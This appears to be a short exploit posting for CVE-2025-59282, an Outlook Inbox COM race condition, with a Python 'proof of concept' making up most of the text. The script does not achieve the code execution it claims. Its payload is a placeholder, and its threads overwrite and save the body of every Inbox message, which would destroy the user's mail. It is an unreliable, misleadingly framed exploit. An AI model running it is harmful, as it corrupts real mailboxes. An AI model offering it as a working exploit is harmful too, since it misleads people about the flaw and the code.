Concurrent execution using shared resource with improper synchronization ('race condition') in Inbox COM Objects allows an unauthorized attacker to execute code locally.
The following code is for security research and authorized testing only.
python
# CVE-2025-59282 - Microsoft Outlook Inbox COM Objects Race Condition PoC
# This is a conceptual PoC demonstrating the race condition exploitation technique.
# Note: Actual exploitation requires specific environmental conditions and user interaction.
import threading
import time
import subprocess
from comtypes.client import CreateObject
# Outlook Application COM object
OUTLOOK_PROGID = "Outlook.Application"
def trigger_inbox_operation(mail_content, thread_id):
"""
Trigger concurrent Inbox COM object operations to exploit the race condition.
Multiple threads simultaneously access shared COM resources.
"""
try:
outlook = CreateObject(OUTLOOK_PROGID)
namespace = outlook.GetNamespace("MAPI")
inbox = namespace.GetDefaultFolder(6) # 6 = olFolderInbox
# Concurrent operation on shared Inbox COM resource
for item in inbox.Items:
# Simulate rapid state changes to trigger race window
item.Body = f"{mail_content} [Thread-{thread_id}]"
item.Save()
except Exception as e:
print(f"[Thread-{thread_id}] Error: {e}")
def exploit_race_condition():
"""
Main exploitation function - launches multiple threads to trigger
the race condition in Inbox COM Objects.
"""
malicious_payload = "<race_condition_trigger_payload>"
threads = []
# Launch multiple concurrent threads to exploit the race window
for i in range(10):
t = threading.Thread(
target=trigger_inbox_operation,
args=(malicious_payload, i)
)
threads.append(t)
t.start()
for t in threads:
t.join()
print("Race condition exploitation attempt completed.")
if __name__ == "__main__":
# Requires user to have opened Outlook with a crafted email
exploit_race_condition()